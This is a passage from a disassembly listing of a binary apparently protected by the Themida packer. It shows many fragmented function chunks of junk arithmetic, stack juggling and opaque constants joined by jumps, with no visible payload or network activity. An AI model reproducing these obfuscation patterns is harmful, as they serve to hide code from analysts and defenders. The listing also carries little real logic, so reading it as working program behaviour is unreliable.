sub_558657	endp

; ---------------------------------------------------------------------------


loc_558678:				; CODE XREF: Themida_:00555523j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_55C29F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_558688:				; CODE XREF: sub_55A4DA-8CA9j
		push	6F3Ah
		mov	[esp+10h+var_10], eax
		mov	ah, 9Ah
		mov	bl, 19h
		push	ecx
		mov	cl, 10h
		shr	cl, 4
		dec	cl
		inc	cl
		dec	cl
		sub	cl, 6
		jmp	loc_553EAD
; END OF FUNCTION CHUNK	FOR sub_55A4DA

; =============== S U B	R O U T	I N E =======================================



sub_5586A8	proc near		; CODE XREF: sub_553331+4j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00556C78 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00558F9A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0055AB26 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055CC4F SIZE 0000000B BYTES

		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_55AB26
sub_5586A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_5586B6:				; CODE XREF: sub_559249+43B1j
		push	[esp+1Ch+var_1C]
		mov	ebp, [esp+20h+var_20]
		add	esp, 4
		add	esp, 4
		and	eax, ebp
		push	[esp+18h+var_18]
		pop	ebp
		push	edx
		mov	edx, esp
		push	ecx
		jmp	loc_5597DE
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------


loc_5586D4:				; CODE XREF: Themida_:00554929j
		add	edi, 6B0C401Ah
		push	ecx
		mov	ecx, 560B2D9Ch
		and	ecx, 31FA1FE5h
		or	ecx, 510D177Fh
		sub	ecx, 7F071334h
		add	ecx, 354771FAh
		or	ecx, 4CCB0CCFh
		push	3F3Bh
		mov	[esp], ebp
		mov	ebp, 13FFC6FDh
		xor	ecx, ebp
		pop	ebp
		jmp	loc_555501
; ---------------------------------------------------------------------------


loc_558713:				; CODE XREF: Themida_:00554FFFj
		mov	esi, esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 68BB7106h
		push	6756h
		mov	[esp], esi
		push	edi
		mov	edi, 68BB7102h
		mov	esi, edi
		pop	edi
		xor	ebp, esi
		pop	esi
		add	esi, 69457105h
		jmp	loc_55AA8D
; ---------------------------------------------------------------------------


loc_558742:				; CODE XREF: Themida_:0055CEA9j
		mov	edi, esi
		pop	esi
		add	ecx, 18680DE8h
		sub	ecx, 48A7043Ah
		add	ecx, edi
		add	ecx, 48A7043Ah
		jmp	loc_55B5ED
; ---------------------------------------------------------------------------


loc_55875E:				; CODE XREF: Themida_:00557CEDj
		mov	ebx, 580D5ACAh
		or	ebx, 384224C0h
		push	edi
		push	esi
		push	39E34B75h
		pop	esi
		push	ebp
		mov	ebp, 43C41865h
		or	esi, ebp
		jmp	loc_5578FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556D34


loc_55877E:				; CODE XREF: sub_556D34+9j
		mov	esi, ebx
		push	508Eh
		mov	[esp+8+var_8], ebx
		mov	ebx, esi
		push	ebx
		jmp	loc_552C77
; END OF FUNCTION CHUNK	FOR sub_556D34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554E9D


loc_558790:				; CODE XREF: sub_554E9D-2EAEj
		push	[esp-4+arg_0]
		pop	edx
		jmp	loc_557C5D
; END OF FUNCTION CHUNK	FOR sub_554E9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_558799:				; CODE XREF: sub_55314C+3B8Dj
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		push	edx
		jmp	loc_5539E5
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------


loc_5587A7:				; CODE XREF: Themida_:0055B749j
		sub	al, dh
		sub	al, 9Dh
		jmp	loc_554FF0
; ---------------------------------------------------------------------------


loc_5587B0:				; CODE XREF: Themida_:0055398Bj
		xchg	edx, [esp]
		pop	edx
		sub	edx, 0FFFFFFFFh
		jmp	loc_558CC0
; ---------------------------------------------------------------------------


loc_5587BC:				; CODE XREF: Themida_:005543BEj
		mov	ebp, 7395196Bh
		or	ebp, 7EC1697Ch
		sub	ebp, 7C322ACEh
		or	ecx, ebp
		pop	ebp
		or	ecx, 4D9C61ABh
		jmp	loc_55DEB1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5587DB:				; CODE XREF: sub_55ABF6+283Cj
		pop	ecx
		jmp	loc_55C2AE
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_5587E1:				; CODE XREF: Themida_:0055D730j
		push	ebx
		mov	ebx, 462C7077h
		and	ebx, 7CEA72FCh
		jmp	loc_553F97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B62C


loc_5587F2:				; CODE XREF: sub_55B62C-51BBj
		push	esi
		not	[esp+8+var_8]
		pop	esi
		shr	esi, 7
		push	eax
		mov	eax, 518F6FACh
		add	esi, eax
		pop	eax
		push	eax
		jmp	loc_556D42
; END OF FUNCTION CHUNK	FOR sub_55B62C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554085


loc_558809:				; CODE XREF: sub_554085+20EDj
		pop	ebx
		sub	al, 0Fh
		add	al, dh
		add	al, 0Fh
		mov	edx, [esp-0Eh+arg_8+2]
		push	30BEh
		jmp	loc_55612D
; END OF FUNCTION CHUNK	FOR sub_554085
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F97


loc_55881D:				; CODE XREF: sub_551F97+537Fj
		push	2F7h
		mov	[esp+6+var_6], ebx
		jmp	loc_551795
; END OF FUNCTION CHUNK	FOR sub_551F97
; ---------------------------------------------------------------------------


loc_55882A:				; CODE XREF: Themida_:0055AE58j
		jmp	loc_5514E3
; ---------------------------------------------------------------------------


loc_55882F:				; CODE XREF: Themida_:0055A913j
		mov	edi, esp
		jmp	loc_552845
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_558836:				; CODE XREF: sub_55C814+27j
		xor	ebx, esi
		jmp	loc_5533C9
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_55883D:				; CODE XREF: sub_559249-3D91j
		push	[esp+0Ch+var_C]
		pop	ecx
		push	edi
		jmp	loc_555E28
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552850


loc_558847:				; CODE XREF: sub_552850+2DC4j
		mov	esp, [esp+4+var_4]
		mov	[esp+0], edi
		push	esp
		pop	edi
		jmp	loc_558F3F
; END OF FUNCTION CHUNK	FOR sub_552850

; =============== S U B	R O U T	I N E =======================================



sub_558854	proc near		; DATA XREF: Themida_:00551208o

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00559985 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055A17A SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0055B487 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055CA7F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055CB09 SIZE 0000000D BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		jmp	loc_55A17A
sub_558854	endp

; ---------------------------------------------------------------------------


loc_55885F:				; CODE XREF: Themida_:0055A2D2j
		push	ecx
		mov	ecx, esp
		jmp	loc_55B6C6
; ---------------------------------------------------------------------------


loc_558867:				; CODE XREF: Themida_:00554C33j
		pop	ebp
		sub	edi, ecx
		add	edi, 541B4E9Ah
		pop	ecx
		sub	esi, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5551BF
; ---------------------------------------------------------------------------


loc_55887E:				; CODE XREF: Themida_:0055B655j
		mov	dl, 46h
		sub	dl, ah
		pop	eax
		inc	dl
		push	eax
		mov	ah, 0CFh
		jmp	loc_555F0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_55888D:				; CODE XREF: sub_55314C+AB64j
		pop	edx
		jmp	loc_559097
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------


loc_558893:				; CODE XREF: Themida_:00555BF9j
		pop	dword ptr [esp]
		jmp	loc_555B0A
; ---------------------------------------------------------------------------


loc_55889B:				; CODE XREF: Themida_:005599EBj
		mov	ecx, 21982309h
		or	ecx, 6A9D78AEh
		shl	ecx, 5
		and	ecx, 43A41153h
		xor	ecx, 43A41144h
		add	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_554E06
; ---------------------------------------------------------------------------


loc_5588BF:				; CODE XREF: Themida_:0055A348j
		mov	[esp], edx
		push	ebx
		mov	bh, 26h
		jmp	loc_5551CF
; ---------------------------------------------------------------------------


loc_5588CA:				; CODE XREF: Themida_:00555420j
		and	dl, 0ADh
		push	ebx
		mov	bl, 84h
		dec	bl
		sub	bl, 46h
		sub	dl, bl
		pop	ebx
		jmp	loc_5591C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AABB


loc_5588DD:				; CODE XREF: sub_55AABB-7AA1j
		sub	eax, 0FEEBDFEFh
		add	edi, eax
		jmp	loc_551AEC
; END OF FUNCTION CHUNK	FOR sub_55AABB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554E9D


loc_5588E9:				; CODE XREF: sub_554E9D+7F47j
		pop	ebp
		push	edx
		jmp	loc_5566B8
; END OF FUNCTION CHUNK	FOR sub_554E9D
; ---------------------------------------------------------------------------


loc_5588F0:				; CODE XREF: Themida_:0055C2B8j
		mov	esp, [esp]
		jmp	loc_556F6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552118


loc_5588F8:				; CODE XREF: sub_552118+27j
		push	1E05h
		mov	[esp+0Ch+var_C], edi
		not	[esp+0Ch+var_C]
		pop	edi
		push	ebx
		jmp	loc_55C171
; END OF FUNCTION CHUNK	FOR sub_552118

; =============== S U B	R O U T	I N E =======================================



sub_55890A	proc near		; CODE XREF: sub_556901+743Aj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 005560FD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005570DD SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005573FD SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00559372 SIZE 00000008 BYTES

		push	ebx
		mov	ebx, 4
		jmp	loc_5573FD
sub_55890A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_558915:				; CODE XREF: sub_55CE17-A02Dj
		dec	ebp
		sub	ebp, 1AB29148h
		jmp	loc_5583FB
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------


loc_558921:				; CODE XREF: Themida_:00554411j
		add	eax, 368732A8h
		pop	ebx
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		pop	esp
		movzx	ecx, ax
		push	4B1Ah
		jmp	loc_55C694
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558326


loc_55893B:				; CODE XREF: sub_558326-6B7Cj
		sub	esi, edi
		pop	edi
		mov	ecx, esi
		jmp	loc_557A91
; END OF FUNCTION CHUNK	FOR sub_558326
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_558945:				; CODE XREF: sub_55314C+89Dj
		pop	edx
		pop	[esp+8+var_8]
		pop	esp
		jmp	loc_551F53
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_55894F:				; CODE XREF: sub_55C814-136Fj
		push	dword ptr [esp+0]
		pop	ebx
		add	esp, 4
		push	dword ptr [edi+1Ch]
		jmp	loc_554017
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D9AA


loc_558961:				; CODE XREF: sub_55D9AA-85C0j
		add	edx, 7CA266Dh
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		push	esi
		jmp	loc_557045
; END OF FUNCTION CHUNK	FOR sub_55D9AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_558979:				; CODE XREF: sub_55ABF6+173Fj
		mov	esi, 0C8C48140h
		xor	eax, esi
		jmp	loc_557650
; ---------------------------------------------------------------------------


loc_558985:				; CODE XREF: sub_55ABF6-1FDFj
		xor	esi, 23644691h
		mov	edi, esi
		pop	esi
		mov	ebx, edi
		jmp	loc_55DD40
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D40D


loc_558995:				; CODE XREF: sub_55D40D-6B67j
		mov	eax, esp
		jmp	loc_55A14B
; END OF FUNCTION CHUNK	FOR sub_55D40D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55678F


loc_55899C:				; CODE XREF: sub_55678F+6j
		mov	ebx, esp
		add	ebx, 4
		sub	esp, 4
		mov	[esp+0Ch+var_C], edx
		mov	edx, 4
		sub	ebx, edx
		pop	edx
		xchg	ebx, [esp+8+var_8]
		pop	esp
		push	esp
		pop	[esp+8+var_8]
		add	[esp+4+var_4], 4
		push	[esp+4+var_4]
		pop	ebp
		add	esp, 4
		jmp	loc_55D8E2
; END OF FUNCTION CHUNK	FOR sub_55678F
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_55A658
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5589D3:				; CODE XREF: sub_55ABF6-8055j
		xor	edi, 0FA421027h
		xor	eax, edi
		pop	edi
		add	ebx, 20EC04D1h
		sub	ebx, eax
		push	edi
		mov	edi, esp
		jmp	loc_559211
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_5589EC:				; CODE XREF: Themida_:0055B6BAj
		add	eax, ebp
		push	1AC0h
		mov	[esp], esi
		jmp	loc_551C74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5523E1


loc_5589FB:				; CODE XREF: sub_5523E1+9BF2j
		push	edi
		mov	edi, 636639B8h
		xor	edi, 4CB84746h
		and	edi, 58E72D00h
		or	edi, 0A2255C5h
		not	edi
		not	edi
		sub	edi, 0AE4D07FDh
		sub	edx, edi
		pop	edi
		jmp	loc_558E2A
; END OF FUNCTION CHUNK	FOR sub_5523E1
; ---------------------------------------------------------------------------


loc_558A25:				; CODE XREF: Themida_:0055CAE6j
		add	esp, 4
		and	[edi+1Ch], esi
		pop	esi
		jmp	loc_5599D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_558A31:				; CODE XREF: sub_55ABF6-82B4j
		and	eax, ebp
		pop	ebp
		shr	eax, 18h
		xor	eax, ecx
		push	32DEh
		mov	[esp-6+arg_0+2], eax
		sub	esp, 4
		mov	[esp+0], edx
		push	[esp-2+arg_0+2]
		jmp	loc_552B6B
; ---------------------------------------------------------------------------


loc_558A50:				; CODE XREF: sub_55ABF6-35A3j
		pop	eax
		shr	esi, 6
		jmp	sub_554114
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_558A59:				; CODE XREF: Themida_:00556E2Dj
		pop	ebx
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_55ACAB
; ---------------------------------------------------------------------------


loc_558A6F:				; CODE XREF: Themida_:005560C7j
		add	edi, ecx
		pop	ecx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		push	ebx
		push	esp
		jmp	loc_556297
; ---------------------------------------------------------------------------


loc_558A87:				; CODE XREF: Themida_:0055389Aj
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	40C3h
		mov	[esp], ebp
		push	edi
		mov	edi, 0B10C3Dh
		xor	edi, 36BF77FDh
		inc	edi
		add	edi, 0C9F18443h
		mov	ebp, edi
		jmp	loc_553127
; ---------------------------------------------------------------------------


loc_558AB5:				; CODE XREF: Themida_:005573B4j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	ebx
		sub	esp, 4
		mov	[esp], ecx
		push	14282795h
		pop	ecx
		push	ebp
		jmp	loc_551531
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_558AD3:				; CODE XREF: sub_55ABF6+2EFj
		push	[esp-0Ch+arg_8]
		pop	eax
		jmp	loc_551987
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55163B


loc_558ADC:				; CODE XREF: sub_55163B+C1EDj
		mov	esp, [esp+4+var_4]
		push	edx
		push	ebx
		mov	ebx, 1
		sub	esp, 4
		jmp	loc_558F03
; END OF FUNCTION CHUNK	FOR sub_55163B
; ---------------------------------------------------------------------------


loc_558AF1:				; CODE XREF: Themida_:0055860Dj
		add	dh, 9Ah
		shr	dh, 8
		dec	dh
		push	cx
		mov	ch, 93h
		jmp	loc_554C90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_558B02:				; CODE XREF: sub_55A4DA-5062j
		xchg	eax, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		push	edi
		push	37628097h
		push	dword ptr [esp+0]
		pop	edi
		push	edi
		jmp	loc_552E07
; ---------------------------------------------------------------------------


loc_558B18:				; CODE XREF: sub_55A4DA-FDAj
		mov	[esp+8+var_8], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+8+var_8]
		pop	esp
		push	edx
		jmp	loc_55A1B4
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------


loc_558B30:				; CODE XREF: Themida_:005547DFj
		pop	ebx
		mov	ebp, edx
		jmp	loc_552818
; ---------------------------------------------------------------------------


loc_558B38:				; CODE XREF: Themida_:00559687j
		push	6C0Fh
		jmp	near ptr byte_5524F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55326E


loc_558B42:				; CODE XREF: sub_55326E+A022j
		pop	esp
		add	eax, edi
		push	dword ptr [eax]
		sub	[esp+8+var_8], 484851A6h
		mov	ecx, [esp+8+var_8]
		jmp	loc_55431F
; END OF FUNCTION CHUNK	FOR sub_55326E
; ---------------------------------------------------------------------------


loc_558B56:				; CODE XREF: Themida_:0055786Ej
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	ebx, eax
		jmp	loc_55A726

; =============== S U B	R O U T	I N E =======================================



sub_558B68	proc near		; CODE XREF: sub_55A833-56FDj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00553FC2 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005541FF SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0055A1A1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055A7DF SIZE 0000001B BYTES

		push	ebp
		push	ecx
		push	432461Ch
		jmp	loc_55A1A1
sub_558B68	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_558B74:				; CODE XREF: sub_55ABF6-925Bj
		push	[esp-2+arg_0+2]
		pop	esi
		pop	dword ptr [esp+0]
		pop	esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_551D4E
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556E4D


loc_558B8A:				; CODE XREF: sub_556E4D+5F86j
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		push	edi
		push	ebx
		mov	ebx, 5E046EB1h
		add	ebx, 5E6055A5h
		sub	ebx, 0BC64C454h
		mov	edi, ebx
		pop	ebx
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp+4+var_4]
		pop	esp
		jmp	loc_55A2EA
; END OF FUNCTION CHUNK	FOR sub_556E4D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D0F3


loc_558BBB:				; CODE XREF: sub_55D0F3-7EE7j
		xchg	ecx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		push	ecx
		mov	ecx, esp
		push	eax
		push	esi
		mov	esi, 4
		mov	eax, esi
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_556A3B
; END OF FUNCTION CHUNK	FOR sub_55D0F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_558BDB:				; CODE XREF: sub_55ABF6-4C35j
		mov	eax, [esp-6+arg_0+2]
		push	4F13h
		jmp	loc_558FB3
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_558BE8:				; CODE XREF: Themida_:005592FCj
		mov	ch, dl
		mov	[edi+eax*4+1], ch
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55B0C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555C6B


loc_558BFC:				; CODE XREF: sub_555C6B+6059j
		mov	edx, 3F03496Fh
		xor	edx, 63852A29h
		add	esi, edx
		jmp	loc_55DCCD
; END OF FUNCTION CHUNK	FOR sub_555C6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_558C0E:				; CODE XREF: sub_55ABF6+BD9j
		add	esi, 0CDC3847h
		shr	esi, 5
		jmp	loc_558985
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C58B


loc_558C1C:				; CODE XREF: sub_55C58B-A73Ej
		xor	eax, 27886772h
		jmp	loc_559DD7
; END OF FUNCTION CHUNK	FOR sub_55C58B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557D5E


loc_558C26:				; CODE XREF: sub_557D5E-4E09j
		pop	edi
		add	esp, 4
		sub	esp, 4
		mov	[esp+0], edi
		mov	edi, 3C3430B6h
		shr	edi, 8
		xor	edi, 0BC429F4h
		xor	edi, 19D16AFFh
		not	edi
		sub	edi, 0FFFFFFFFh
		xor	edi, 0DC940428h
		push	ecx
		jmp	loc_551EA9
; END OF FUNCTION CHUNK	FOR sub_557D5E
; ---------------------------------------------------------------------------


loc_558C5B:				; CODE XREF: Themida_:0055B0EFj
		add	ecx, edi
		pop	edi
		jmp	loc_55A2D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55BDF0


loc_558C63:				; CODE XREF: sub_55BDF0+5j
		mov	eax, esp
		push	ebp
		mov	ebp, 3DBB5DC1h
		shr	ebp, 4
		shr	ebp, 3
		sub	ebp, 3AC87C8Bh
		not	ebp
		or	ebp, 33396CBAh
		xor	ebp, 73BC40D6h
		or	ebp, 3AB61F0Dh
		push	ebx
		mov	ebx, 738E5E7Eh
		add	ebp, 18A16FDCh
		sub	ebp, ebx
		sub	ebp, 18A16FDCh
		jmp	loc_552F5A
; END OF FUNCTION CHUNK	FOR sub_55BDF0
; ---------------------------------------------------------------------------


loc_558CA4:				; CODE XREF: Themida_:0055A396j
		sub	eax, 8A44E8Eh
		push	dword ptr [esp]
		pop	ebx
		push	edi
		mov	edi, esp
		push	esi
		push	edi
		mov	edi, 622D6073h
		dec	edi
		shl	edi, 6
		jmp	loc_55D7A2
; ---------------------------------------------------------------------------


loc_558CC0:				; CODE XREF: Themida_:005587B7j
		shl	edx, 1
		not	edx
		xor	edx, 0DC33F9C4h
		sub	eax, edx
		jmp	loc_55C01C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_558CD1:				; CODE XREF: sub_559249-13CBj
		pop	esi
		add	edi, 4
		xchg	edi, [esp+20h+var_20]
		pop	esp
		jmp	sub_552BA6
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_558CE1:				; CODE XREF: sub_55ABF6+2719j
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		shr	eax, 0Eh
		xor	eax, ecx
		jmp	loc_55BEAE
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_558CF2:				; CODE XREF: Themida_:00556C61j
		xchg	eax, [esp]
		pop	esp
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	256Ch
		mov	[esp], ebx
		mov	ebx, esp
		push	474Bh
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_55DC5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B62C


loc_558D28:				; CODE XREF: sub_55B62C-4BFCj
		add	ecx, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ebp
		push	eax
		mov	eax, 5F42460Ah
		push	4D24h
		mov	[esp+0Ch+var_C], eax
		jmp	loc_553199
; END OF FUNCTION CHUNK	FOR sub_55B62C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557D5E


loc_558D57:				; CODE XREF: sub_557D5E-2892j
		pop	esi
		sub	eax, 207614C0h
		add	eax, 1002995h
		add	eax, ecx
		sub	eax, 1002995h
		jmp	loc_559F9E
; END OF FUNCTION CHUNK	FOR sub_557D5E
; ---------------------------------------------------------------------------
		push	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		push	edx
		mov	edx, 7EF42DA2h
		push	esi
		mov	esi, 352653A0h
		neg	esi
		or	esi, 59D6181Dh
		and	esi, 35783574h
		jmp	loc_557418
; ---------------------------------------------------------------------------


loc_558D9B:				; CODE XREF: Themida_:00558E7Ej
		add	eax, 7C5B35AAh
		xor	eax, 0FC372140h
		sub	ebp, 62FB3800h
		add	ebp, eax
		jmp	loc_55B66F
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	49FBh
		mov	[esp], edi
		mov	edi, 169103EAh
		sub	edi, 32063E52h
		xor	edi, 45404D29h
		xor	edi, 53392FD3h
		sub	edi, 0F2F3A75Eh
		jmp	loc_55D08E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_558DE8:				; CODE XREF: sub_55ABF6+26D3j
		sub	ebx, eax
		add	ebx, 297479F1h
		sub	ebx, 3E5E6AF4h
		push	2078h
		mov	[esp+0], ebx
		push	edi
		mov	edi, 521326C0h
		add	edi, 1E71614Ch
		shr	edi, 3
		shr	edi, 2
		jmp	loc_555353
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_558E15:				; CODE XREF: Themida_:00557A54j
		add	edi, esi
		pop	esi
		push	edx
		mov	edx, 5E186202h
		inc	edx
		jmp	loc_554181
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_558E24:				; CODE XREF: sub_55AE3A-3376j
		pop	eax
		jmp	loc_554EA3
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5523E1


loc_558E2A:				; CODE XREF: sub_5523E1+663Fj
		xor	edx, 24A71D10h
		sub	edi, edx
		pop	edx
		jmp	loc_55BDFA
; END OF FUNCTION CHUNK	FOR sub_5523E1
; ---------------------------------------------------------------------------


loc_558E38:				; CODE XREF: Themida_:0055778Bj
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		mov	dh, 32h
		jmp	loc_55B42E
; ---------------------------------------------------------------------------


loc_558E52:				; CODE XREF: Themida_:005515ABj
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		mov	edi, 2
		add	edx, edi
		jmp	loc_55D53F
; ---------------------------------------------------------------------------


loc_558E65:				; CODE XREF: Themida_:00553B2Cj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5579D8
; ---------------------------------------------------------------------------


loc_558E6E:				; CODE XREF: Themida_:005595F3j
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 2F2D71C1h
		shl	eax, 1
		or	eax, 77930B18h
		jmp	loc_558D9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_558E83:				; CODE XREF: sub_55ABF6+2EFBj
		pop	edx
		xor	edx, 9300835Eh
		sub	ebx, 2ED50C8Fh
		sub	ebx, edx
		add	ebx, 2ED50C8Fh
		jmp	loc_55B8F6
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_558E9D:				; CODE XREF: Themida_:005557ACj
		xchg	ebp, [esp]
		pop	esp
		or	ebx, 7FE36986h
		sub	ebx, 6C2623BEh
		and	ebx, 0C486BD2h
		add	ebx, 1
		sub	ebx, 0DF7C3C80h
		sub	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
